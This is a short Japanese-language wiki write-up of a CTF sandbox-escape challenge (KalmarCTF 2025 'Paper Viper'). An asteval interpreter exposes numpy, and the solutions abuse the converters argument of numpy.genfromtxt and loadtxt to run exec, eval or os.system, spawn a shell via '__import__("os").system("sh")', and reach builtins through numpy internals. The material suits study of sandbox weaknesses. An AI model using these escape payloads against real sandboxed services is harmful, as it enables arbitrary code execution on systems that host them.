pyjail wiki

KalmarCTF 2025 - Paper Viper

Challenge

UofTCTF 2025 “Don’t Sandbox Python” シリーズの続編。

from asteval import Interpreter
import numpy as np
aeval = Interpreter()
aeval.symtable['numpy'] = np
code = input()
result = aeval(code)

Solution

numpy.genfromtxt の悪用

numpy.genfromtxtconverters パラメータで任意の関数を呼び出せる:

numpy.genfromtxt('/etc/passwd', converters={0: lambda x: exec(x)})

dtype の悪用

numpy.genfromtxt('/tmp/payload', dtype=None, converters={0: eval})

コードインジェクション

ファイルの内容が関数に渡されるため、ファイルにペイロードを書き込む:

# /tmp/payload に '__import__("os").system("sh")' を書き込み
# genfromtxt で読み込んで eval

Technical Details

genfromtxt の converters

import numpy as np
# converters は各列に適用する関数を指定
# 列番号をキー、関数を値とする辞書
data = np.genfromtxt('file.txt', converters={0: int, 1: float})

セキュリティ上の問題

# converters に任意の callable を渡せる
np.genfromtxt('input.txt', converters={0: os.system})
# input.txt の内容がシェルコマンドとして実行される

関連する numpy 関数

関数危険性
genfromtxtconverters で任意関数実行
loadpickle によるコード実行
loadtxtconverters で任意関数実行
fromfile制限あり

Alternative Solutions

別解1: numpy.loadtxt

numpy.loadtxt('/tmp/payload', converters={0: eval})

別解2: numpy._ctypes (UofTCTF と同様)

numpy.array([])._ctypes.__class__.__module__.__builtins__
  • UofTCTF 2025 - Don’t Sandbox Python 1/2/3

Flag

kalmar{...}

References